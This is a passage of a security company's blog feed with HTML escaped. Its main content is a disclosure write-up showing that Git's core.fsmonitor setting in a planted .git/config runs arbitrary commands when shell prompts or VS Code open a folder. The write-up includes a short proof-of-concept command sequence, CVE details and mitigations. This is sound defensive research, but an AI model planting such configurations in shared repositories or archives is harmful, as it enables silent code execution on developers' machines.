  &lt;tr&gt;&lt;td&gt;2022-03-13&lt;/td&gt;&lt;td&gt;The patches are deployed in production.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-03-25&lt;/td&gt;&lt;td&gt;The vulnerabilities of this article are publicly presented at Insomni’hack.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we presented two code vulnerabilities that could have been exploited to perform a supply chain attack against the PEAR ecosystem and compromise both developers and companies who rely on it. These vulnerabilities have been present for more than a decade and were trivial to identify and exploit, raising questions about the lack of security contributions from companies relying on them. &lt;/p&gt;&lt;p&gt;We also recommend reviewing your use of PEAR and consider migrating to Composer, where the contributors community is more active and the same packages are available.&lt;/p&gt;&lt;p&gt;We would like to thank Ken Guest, Mark Wiesemann, and Chuck Burgess of the PEAR team for handling our security advisory and deploying the patches. You can support &lt;a href=&quot;https://opencollective.com/phpfoundation&quot;&gt;The PHP Foundation on OpenCollective&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Clean Your Infrastructure Code with Sonar]]></title><description><![CDATA[The norm for setting up your cloud-native app infrastructure is quickly becoming Infrastructure as Code (IaC). In this blog, we’ll cover how Sonar is the solution for safeguarding your IaC invoked infrastructure.]]></description><link>https://www.sonarsource.com/blog/iac_code_quality</link><guid isPermaLink="false">861afdba-87be-5658-81ff-6c62aebc71b8</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Tue, 22 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;New tech...same challenges&lt;/h2&gt;&lt;p&gt;The great thing about tech is that useful innovations are always arriving. While Infrastructure as Code (IaC) isn’t brand new, it still feels shiny and its popularity is really taking off. For newcomers to the concept, here’s a quick summary:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;IaC is the process of managing and provisioning infrastructure through machine-readable definition files, rather than physical hardware configurations or GUI-based config tools. The definitions may be maintained in a version control system such as Git. The approach used may be declarative (WHAT) or imperative (HOW). The declarative approach defines the desired state and the system executes what needs to happen to achieve that desired state. The Imperative approach defines specific commands that need to be executed in the appropriate order to achieve the desired state. The recent focus in IaC tools is on the declarative side (e.g., AWS CDK, Terraform). &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the coolest aspects of IaC is that it brings a whole new dimension to what developers can achieve. It’s a powerful technology that offers more flexibility and independence to developers and cloud platform engineers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&amp;quot;Technology alone is not enough.&amp;quot; - Steve Jobs&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And with great power, comes great responsibility. Just like source code, IaC can contain bad actors in the form of bugs and vulnerabilities. These can wreak havoc on your infrastructure and your organization’s reputation. And if you believe that the cloud provider is handling security for you - think again! &lt;/p&gt;&lt;h2&gt;Who&amp;#x27;s responsible for security?&lt;/h2&gt;&lt;p&gt;A concept called the Shared Responsibility Model comes into play here. Security is a shared responsibility between the cloud provider - such as Amazon Web Services (AWS), Microsoft Azure or Google Cloud Platform (GCP) - and the customer. In this &amp;#x27;shared model&amp;#x27;, the cloud provider is responsible for &amp;#x27;security &lt;strong&gt;OF&lt;/strong&gt; the cloud,&amp;#x27;. This means the cloud providers are responsible for securing the traditional compute services such as physical hosts, networking and virtualization. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Customers are responsible for &amp;#x27;security &lt;strong&gt;IN&lt;/strong&gt; the cloud&amp;#x27; and that means platform and resource configuration since that’s under your direct control. When you spin up cloud infrastructures, you&amp;#x27;re directly controlling the operating environment - this is true whether your instances are server-based or serverless. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not all cloud developers are aware of this and/or comprehend the significance. One small mistake can expose a lot! The good news is that IaC is just code and at SonarSource, we know a thing or two about helping folks &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;write clean code&lt;/a&gt;! 🤠 . This includes the popular languages and tools you’re using to configure and orchestrate your cloud infrastructures.&lt;/p&gt;&lt;h2&gt;Secure your IaC with Sonar&lt;/h2&gt;&lt;p&gt;We’ve added rules to the Sonar solution to detect code smells, bugs and vulnerabilities in your IaC projects. If you’re already using IaC in production or just exploring what it can bring, you’re probably developing cloud-native apps and this is where Sonar really adds value. With Sonar, you can find and fix issues in your IaC AND Sonar can scan the source code in your cloud-native apps as well. Whether it’s JavaScript running on the backend or AWS Lambda functions as part of your microservice, Sonar detects quality and security issues and helps you fix them. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Below are a couple of issue examples caught by our IaC specific rules:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9b01837a-1bdb-4e44-b84c-9c43e1414eaa/body-bd624088-3334-444a-a4bb-f2504e0e5022_IaC%2Bvulnerability%2Bin%2BAzure%2B-%2BScope%2BPermissions%2B1.png&quot; /&gt;&lt;p&gt;&lt;strong&gt;Scope permission vulnerability in Azure with a secondary location&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/effc8103-4e37-440e-983b-6e7ad5966a89/body-fa1b8c3c-7ee8-4398-bb76-1eb1931626dd_IaC%2Bvulnerability%2B-%2BAuthentication%2B2.png&quot; /&gt;&lt;p&gt;&lt;strong&gt;Authentication vulnerability in AWS&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We know that folks don’t always deploy with a single cloud provider so we have rule coverage for AWS, Azure and Google platforms. We’re just getting started in the IaC/Cloud-Native space and we’re already bringing lots of value with the dozens of rules we’ve already added.&lt;/p&gt;&lt;h2&gt;Getting started is easy&lt;/h2&gt;&lt;p&gt;Please visit &lt;a href=&quot;https://rules.sonarsource.com/&quot;&gt;Sonarpedia&lt;/a&gt; to see our rules for &lt;a href=&quot;https://rules.sonarsource.com/cloudformation&quot;&gt;CloudFormation&lt;/a&gt; and &lt;a href=&quot;https://rules.sonarsource.com/terraform&quot;&gt;Terraform&lt;/a&gt;. Or better yet, try them out yourself in &lt;a href=&quot;https://www.sonarqube.org/downloads/&quot;&gt;SonarQube&lt;/a&gt; or &lt;a href=&quot;https://sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;. Please visit our Community to give us feedback and to grab the latest product news. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Thanks for reading and happy, clean IaC coding!&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;Pick a blog topic to discover more:&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;GitHub &lt;a href=&quot;https://blog.sonarsource.com/review-security-vulnerabilities-with-github-code-scanning&quot;&gt;Code Scanning integration&lt;/a&gt; speeds vulnerability review&lt;/li&gt;&lt;li&gt;10 unknown &lt;a href=&quot;https://blog.sonarsource.com/10-unknown-security-pitfalls-for-python&quot;&gt;security pitfalls&lt;/a&gt; for Python&lt;/li&gt;&lt;li&gt;SonarLint &lt;a href=&quot;https://blog.sonarsource.com/sonarlint-quick-fixes&quot;&gt;Quick Fix&lt;/a&gt; feature modernizes coding in your IDE&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Securing Developer Tools: Git Integrations]]></title><description><![CDATA[With this series, we present the results of our research on the security of popular developer tools with the goal of making this ecosystem safer: today’s article revisits Git integrations.]]></description><link>https://www.sonarsource.com/blog/securing-developer-tools-git-integrations</link><guid isPermaLink="false">f74eea13-a44a-5f93-b21d-c362350133fd</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 15 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Attacks against developers are increasing and in the past year, dozens have been documented. For instance, a threat actor &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/trojanized-dnspy-app-drops-malware-cocktail-on-researchers-devs/&quot;&gt;recently distributed a backdoored version of a .NET development tool&lt;/a&gt;  to deploy multiple malicious payloads, like a clipboard hijacker and a crypto miner. In another recent example, a &lt;a href=&quot;https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/&quot;&gt;campaign attributed to a North Korean entity&lt;/a&gt; has set up social network profiles and websites to social engineer and infect prominent figures of the developer community with malicious Visual Studio projects or browser exploits &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Developers are an attractive target for cybercriminals, as they have access to the core intellectual property assets of a company: the source code. Compromising a single developer enables attackers to embed malicious code into a company&amp;#x27;s products. If that product is then used by other companies, the malware can spread to their systems in a so-called supply chain attack.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our security researchers recently discovered vulnerabilities and unexpected behaviors in various tools used by developers, which could have helped threat actors to launch similar targeted attacks. After a first article covering package managers (&lt;a href=&quot;https://blog.sonarsource.com/securing-developer-tools-package-managers&quot;&gt;Securing Developer Tools: Package Managers&lt;/a&gt;), this second publication focuses on Git integrations in terminals and code editors. We show how simple actions like opening an archive in a terminal or in a code editor can let attackers compromise a system. We demonstrate this risk with the official Git terminal prompt and Microsoft’s Visual Studio Code, but this same scenario affects a broad range of products.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While some of these findings are already known to the maintainers of the impacted projects, we hope to raise awareness on these problems and help to reach a consensus on how these risks should be mitigated to make the developer ecosystem safer. A few weeks after starting the responsible disclosure of these findings, we were put in relation with Justin Steven, a security researcher investigating similar vulnerabilities. We coordinated the publications of the technical details: you can find Justin’s publication &lt;a href=&quot;https://www.justinsteven.com/&quot;&gt;on his blog&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;How it can impact you&lt;/h2&gt;&lt;p&gt;The vulnerabilities covered in this article all allow the execution of arbitrary commands upon access to a malicious folder planted on the victim’s system. This attack vector applies only to folders obtained through other means than Git, like other source control management tools or website downloads. Cloning a remote repository does not retrieve the files necessary to conduct this attack. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For instance, a plausible attack scenario would be the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;An attacker crafts a malicious Git repository with a local configuration file;&lt;/li&gt;&lt;li&gt;The attacker compresses these files in an archive and sends it to the victim, e.g. over email;&lt;/li&gt;&lt;li&gt;The victim opens it in a vulnerable application;&lt;/li&gt;&lt;li&gt;The victim&amp;#x27;s computer is now compromised by the attacker.&lt;/li&gt;&lt;/ul&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e5a73f20-2e75-4f18-8235-b46efd86a3cf/body-716bca34-27a2-4035-9b42-fb51a9774d76_RD-127_support%25402x.png&quot; /&gt;&lt;p&gt;We demonstrated this risk in three code editors, leading to a bypass of the trusted workspace feature of the two first ones:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Microsoft Visual Studio Code &amp;lt; 1.63.1 (CVE-2021-43891)&lt;/li&gt;&lt;li&gt;JetBrains IDEs &amp;lt; 2021.3.1 (CVE-2022-24346)&lt;/li&gt;&lt;li&gt;GitHub Atom (not fixed)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We could also demonstrate it across a broad range of Git integrations for terminals, like the official Git implementation, Oh My Zsh or fish. After reaching out to the Git maintainers, it was concluded that there will always be potentially dangerous features in Git via this attack vector: the only solution is then to change user security expectations when using Git integrations.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We believe that this attack vector could also be used to compromise software working on user-supplied Git repositories. This is the original scenario pursued by Justin Steven in his research, leading to interesting vulnerabilities in security tools deliberately downloading remote Git configurations to the local system. &lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we come back to one of the Git features that we used to achieve the local execution of arbitrary commands upon access to a malicious folder.&lt;/p&gt;&lt;h3&gt;Root Cause: Git Local Configuration&lt;/h3&gt;&lt;p&gt;Git supports configuration from three sources, each level superseding the previous one: system (e.g. &lt;code&gt;/etc/gitconfig&lt;/code&gt;), global (e.g. &lt;code&gt;~/.gitconfig&lt;/code&gt;) and later repository-local (e.g. &lt;code&gt;.git/config&lt;/code&gt;). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://git-scm.com/docs/git-config&quot;&gt;upstream documentation&lt;/a&gt; describes the available configuration directives quite thoroughly. One of them, &lt;a href=&quot;https://git-scm.com/docs/git-config#Documentation/git-config.txt-corefsmonitor&quot;&gt;core.fsmonitor&lt;/a&gt;, caught our attention:&lt;/p&gt;&lt;blockquote&gt;If set, the value of this variable is used as a command which will identify all files that may have changed since the requested date/time.&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;Most Git commands will invoke the command specified in &lt;code&gt;core.fsmonitor&lt;/code&gt;, if set, as soon as they need to query information about files present in the local repository, among which are git status and git diff. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To demonstrate this behavior without forcing you to read Git’s code, create an empty folder and then create both the file &lt;code&gt;.git/config&lt;/code&gt; with a &lt;code&gt;core.fsmonitor&lt;/code&gt; set:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ git init
$ echo &apos;fsmonitor = &quot;id&gt;/tmp/fsmonitor&quot;&apos; &gt;&gt; .git/config
$ git status
$ cat /tmp/fsmonitor
uid=501(user) gid=[...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Running git status in an untrusted folder has proved dangerous! Now, what could be running such commands automatically without the user’s knowledge?&lt;/p&gt;&lt;h3&gt;Example of affected Terminal Integration: Git Prompt&lt;/h3&gt;&lt;p&gt;The root cause of this vulnerability is similar for most prompts and the majority are vulnerable by default. As soon as a Git command with support for the directive &lt;code&gt;core.fsmonitor&lt;/code&gt; is invoked, the arbitrary command is executed. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s have a look at the upstream implementation of the Git shell integration in Git (&lt;code&gt;contrib/completion/git-prompt.sh&lt;/code&gt;). The script exports a function named &lt;code&gt;__git_ps1&lt;/code&gt; that is intended to be placed in the user&amp;#x27;s shell primary prompt (&lt;code&gt;$PS1&lt;/code&gt;). It invokes git diff after detecting that it is in a work tree and the prompt configuration &lt;code&gt;GIT_PS1_SHOWDIRTYSTATE&lt;/code&gt; is set:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;contrib/completion/git-prompt.sh&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;__git_ps1 ()
{
    # [...]
    elif [ &quot;true&quot; = &quot;$inside_worktree&quot; ]; then
    if [ -n &quot;${GIT_PS1_SHOWDIRTYSTATE-}&quot; ] &amp;&amp;
        [ &quot;$(git config --bool bash.showDirtyState)&quot; != &quot;false&quot; ]
    then
            git diff --no-ext-diff --quiet || w=&quot;*&quot;            
            git diff --no-ext-diff --cached --quiet || i=&quot;+&quot;
            if [ -z &quot;$short_sha&quot; ] &amp;&amp; [ -z &quot;$i&quot; ]; then
                    i=&quot;#&quot;
            fi
    fi&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As a result, &lt;code&gt;git diff&lt;/code&gt; triggers the &lt;code&gt;core.fsmonitor&lt;/code&gt; directive and automatically executes a potentially malicious system command in the background.&lt;/p&gt;&lt;h4&gt;Proof-of-Concept - cd considered harmful!&lt;/h4&gt;&lt;p&gt;In the following video, we reproduced the scenario of an attack against a developer using &lt;code&gt;git-prompt.sh&lt;/code&gt; with &lt;code&gt;GIT_PS1_SHOWDIRTYSTATE=1&lt;/code&gt;. We could verify that other Git prompts, like Oh My Zsh or fish, are generally vulnerable by default, and the exploitation process steps are strictly similar. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our demo, a developer simply downloaded an archive from an untrusted source, extracted it, and entered the resulting directory with the shell. This harmless behavior results in the execution of an arbitrary system command placed by the attacker, in our case, opening a calculator:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/m-5P1Rv3sPE&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;How to protect yourself?&lt;/h4&gt;&lt;p&gt;We are not aware of an easy way to mitigate this risk while using the official Git program. As soon as subcommands like git status are invoked in folders containing an untrusted Git repository, attackers will have ways to execute unintended commands.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We believe that it would be very hard to establish a list of “safe” configuration directives. Various other ways to force the hidden execution of commands with a local configuration would still exist. Instead, maintainers should not only try to override settings like &lt;code&gt;core.fsmonitor&lt;/code&gt;, but rather disable Git integrations by default or at least those that run without the user’s prior consent. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After reaching out to the Git maintainers, it was concluded that there will always be potentially dangerous features in Git via this attack vector: the only solution is then to change user security expectations when using Git integrations. &lt;strong&gt;For now, our sole recommendation is to disable SCM prompts when dealing with untrusted data. &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Please follow the recommendations of the maintainers of your prompt to disable the Git integration, or set the following variable to temporarily disable it:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# If you are using bash, zsh
PS1=\s-\v\$
# If you are using fish
function fish_prompt
printf &apos;%s&apos; $PWD &apos; $ &apos;
end&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It is interesting to note that alternative Git implementations (e.g. JGit) may not always implement support for features like &lt;code&gt;core.fsmonitor&lt;/code&gt;. &lt;/p&gt;&lt;h3&gt;Example of affected IDE: Visual Studio Code&lt;/h3&gt;&lt;p&gt;Visual Studio Code, the open-source and cross-platform IDE developed by Microsoft, is now the most popular development editor per Stack Overflow&amp;#x27;s latest survey. Part of its success is its modularity and the broad range of external modules available in the official marketplace. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because of the risks associated with the execution of package managers and other various external commands, Visual Studio Code introduced a feature called &lt;em&gt;Workspace Trust&lt;/em&gt;. This is a mechanism by which extensions can change their behavior depending on the trust status of the current project, with the goal to prevent the execution of any risky operation on untrusted codebases. For instance, package management modules will not be executed as long as the current workspace is not trusted.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This feature doesn’t mean that malicious projects won’t be able to compromise the system, only that you have to manually mark it as trusted first. This behavior is clearly documented in the official documentation and the Workspace Trust prompt itself:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/27e8674b-2b58-4033-a899-d2207e619e02/body-3923a198-551b-4e39-a121-e5479636a5e1_Screenshot%2B2022-03-04%2Bat%2B15.17.15.png&quot; /&gt;&lt;p&gt;The vulnerability we describe below can also be applied to other IDEs, like the JetBrains suite and GitHub Atom. Jetbrains introduced a feature named&lt;em&gt; Trusted Projects&lt;/em&gt; in 2021.3.1, while GitHub decided to accept this risk. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following sections, we focus on Visual Studio Code and show how malicious folders could force the execution of arbitrary commands even in trusted workspaces.&lt;/p&gt;&lt;h4&gt;The Git extension&lt;/h4&gt;&lt;p&gt;Visual Studio Code is shipped with the Git extension enabled by default, and declares its features in &lt;code&gt;vscode/extensions/git/package.json&lt;/code&gt;.  Up until version 1.63.1, it explicitly stated that it runs in untrusted workspaces (e.g. the user is still looking at the &lt;em&gt;Workspace Trust&lt;/em&gt; prompt, or marked the current folder as untrusted):&lt;/p&gt;&lt;pre&gt;&lt;code&gt; &quot;capabilities&quot;: {
   &quot;virtualWorkspaces&quot;: true,
   &quot;untrustedWorkspaces&quot;: {
     &quot;supported&quot;: true
   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That means that features of this extension will be invoked as soon as a folder is opened before the &lt;em&gt;Workspace Trust&lt;/em&gt; prompt is even displayed. We dynamically traced the invocations of external commands (e.g. here with Objective-See’s &lt;code&gt;ProcessMonitor&lt;/code&gt;) and could confirm that Git is invoked several times before the prompt:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[...]
{&quot;event&quot;:&quot;ES_EVENT_TYPE_NOTIFY_EXEC&quot;, &quot;process&quot;:{&quot;name&quot;:&quot;git&quot;, &quot;arguments&quot;:[&quot;/usr/local/bin/git&quot;,&quot;rev-parse&quot;,&quot;--show-toplevel&quot;]}
{&quot;event&quot;:&quot;ES_EVENT_TYPE_NOTIFY_EXEC&quot;, &quot;process&quot;:{&quot;name&quot;:&quot;git&quot;, &quot;arguments&quot;:[&quot;/usr/local/bin/git&quot;,&quot;rev-parse&quot;,&quot;--git-dir&quot;]}
{&quot;event&quot;:&quot;ES_EVENT_TYPE_NOTIFY_EXEC&quot;, &quot;process&quot;:{&quot;name&quot;:&quot;git&quot;, &quot;arguments&quot;:[&quot;/usr/local/bin/git&quot;,&quot;status&quot;,&quot;-z&quot;,&quot;-u&quot;]}
[...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is explained by the willingness to show meaningful information to users as soon as they open the editor, but that also means that the execution of &lt;code&gt;core.fsmonitor&lt;/code&gt; happens immediately. &lt;/p&gt;&lt;h4&gt;Proof-of-Concept&lt;/h4&gt;&lt;p&gt;In the following video, we reproduced the scenario of an attack against a developer. They downloaded an archive from an untrusted source, extracted it in a temporary folder, and chose to open it in Visual Studio Code. It results in the execution of an arbitrary command, here a calculator:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/qBH2CMN3xlI&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The same exploitation scenario can be applied to the JetBrains IDEs suite and GitHub Atom. The former did not have the Git plugin behind the project trust feature, while the latter deliberately does not have this feature at all.&lt;/p&gt;&lt;h4&gt;How to protect yourself?&lt;/h4&gt;&lt;p&gt;External invocations of Git being unsafe in untrusted folders, the Visual Studio Code maintainers decided to enable this extension only in trusted workspaces (&lt;a href=&quot;https://github.com/microsoft/vscode/commit/67d6356a25661ecd2bdaf13a3fc8c9d14ee5161f&quot;&gt;67d6356a&lt;/a&gt;). We think this is a great choice, as the &lt;em&gt;Workspace Trust&lt;/em&gt; documentation is really clear about the inherent risks. Microsoft assigned CVE-2021-43891 to this vulnerability, as well as a consequent monetary bounty that we donated to charities. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The patch is included starting from Visual Studio Code 1.63.2, and you likely already benefit from it if you did not disable automatic updates; if so, you should consider enabling it as similar vulnerabilities are fixed several times per year. JetBrains also took the same approach to mitigate this risk in the IntelliJ suite starting from 2021.3.1, and assigned CVE-2022-24346 to this behavior. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Even if GitHub Atom chose not to fix this risk, &lt;a href=&quot;https://github.com/Metnew/write-ups/tree/main/rce-github-desktop-2.9.3&quot;&gt;GitHub Desktop recently fixed a vulnerability using a very similar exploitation scenario found by Vladimir Metnew&lt;/a&gt;: by forcing users to download a file to their local filesystem upon access to a malicious web page, they could ask GitHub Desktop to use this archive as a Git repository and Git filters led to the execution of arbitrary commands on the user’s behalf. &lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-08-30&lt;/td&gt;&lt;td&gt;We report this Visual Studio Code vulnerability to Microsoft.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09-01&lt;/td&gt;&lt;td&gt;We report the vulnerability in the IntelliJ IDEs to JetBrains. They let us know they are already aware of this risk.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09-02&lt;/td&gt;&lt;td&gt;We report the vulnerability in Atom to GitHub. The submission is closed as Informative, being outside of their threat model.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-11-01&lt;/td&gt;&lt;td&gt;Microsoft releases Visual Studio Code 1.63.2, with the Git extension behind Workspace Trust.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-12-29&lt;/td&gt;&lt;td&gt;JetBrains releases the version IntelliJ 2021.3.1 with broader support of Trusted Projects.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we presented how disparities between the Git threat model and its actual use could affect the security of developers&amp;#x27; tools where it is integrated. We demonstrated an attack against the popular terminal integration Git Prompt and IDE Visual Studio Code whereas many other products were found to be vulnerable against the same attack.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our research is far from comprehensive as other CVS tools and less popular code editors were omitted. We hope to raise awareness of this problem and help the various affected projects to reach a consensus on how these risks should be mitigated. Developer tools need to modernize their threat models to take such targeted attacks into account and better educate users about the inherent risks. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a general rule, it should be considered unsafe to open third-party source code in modern IDEs (but it’s still OK in nano!) or to navigate through it with a terminal with shell integrations. You should turn to disposable virtual machines for such tasks and always keep code editors up-to-date. Workspace Trust is a great feature, even though it can ultimately lead to a form of &lt;em&gt;decision fatigue&lt;/em&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank all the maintainers involved in the numerous bug reports and discussions, as well as Justin Steven for his precious help in the coordinated disclosure process and his review of this article.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/securing-developer-tools-package-managers&quot;&gt;Securing Developer Tools: Package Managers&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/vulnerability-research-highlights-2021&quot;&gt;Vulnerability Research Highlights 2021&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/gocd-vulnerability-chain&quot;&gt;Agent 008: Chaining Vulnerabilities to Compromise GoCD&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer&quot;&gt;PHP Supply Chain Attack on Composer&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Securing Developer Tools: Package Managers]]></title><description><![CDATA[Yarn, Pip, Composer & friends: Learn about 3 types of vulnerabilities we found in popular package managers that can be used by attackers to target developers.]]></description><link>https://www.sonarsource.com/blog/securing-developer-tools-package-managers</link><guid isPermaLink="false">361e874c-7b58-5139-ad32-f17f345ba1f5</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Tue, 08 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Developers are an attractive target for cybercriminals because they have access to the core intellectual property assets of a company: source code. Compromising them allows attackers to conduct espionage or to embed malicious code into a company&amp;#x27;s products. This could even be used to pull off supply chain attacks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An integral part of modern software development and almost every programming language ecosystem are package managers. They help with managing and downloading 3rd-party dependencies, so developers have to ensure that these dependencies do not contain malicious code because they would be embedded into the products they build. However, the act of managing dependencies is usually not seen as a potentially risky operation, especially when safety options are enabled.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In an effort to help secure the developer ecosystem, our researchers started to look at developer tools that could be targeted by attackers to compromise developer machines. In this article, we discuss vulnerabilities that we found in some of the most popular package managers. Next week&amp;#x27;s article will describe vulnerabilities in Git integrations used in terminals and widely-used code editors.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;How it can impact you&lt;/h2&gt;&lt;p&gt;As a result of our research, we found vulnerabilities in the following popular package managers:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Composer 1.x &amp;lt; 1.10.23 and 2.x &amp;lt; 2.1.9 (fixed, CVE-2021-41116, 1 not fixed)&lt;/li&gt;&lt;li&gt;Bundler &amp;lt; 2.2.33 (fixed, CVE-2021-43809)&lt;/li&gt;&lt;li&gt;Bower &amp;lt; 1.8.13 (fixed, CVE-2021-43796)&lt;/li&gt;&lt;li&gt;Poetry &amp;lt; 1.1.9 (fixed, CVE-2022-26184, CVE-2022-36069)&lt;/li&gt;&lt;li&gt;Yarn &amp;lt; 1.22.13 (fixed, CVE pending)&lt;/li&gt;&lt;li&gt;pnpm &amp;lt; 6.15.1 (fixed, CVE-2022-26183)&lt;/li&gt;&lt;li&gt;Pip (not fixed)&lt;/li&gt;&lt;li&gt;Pipenv (not 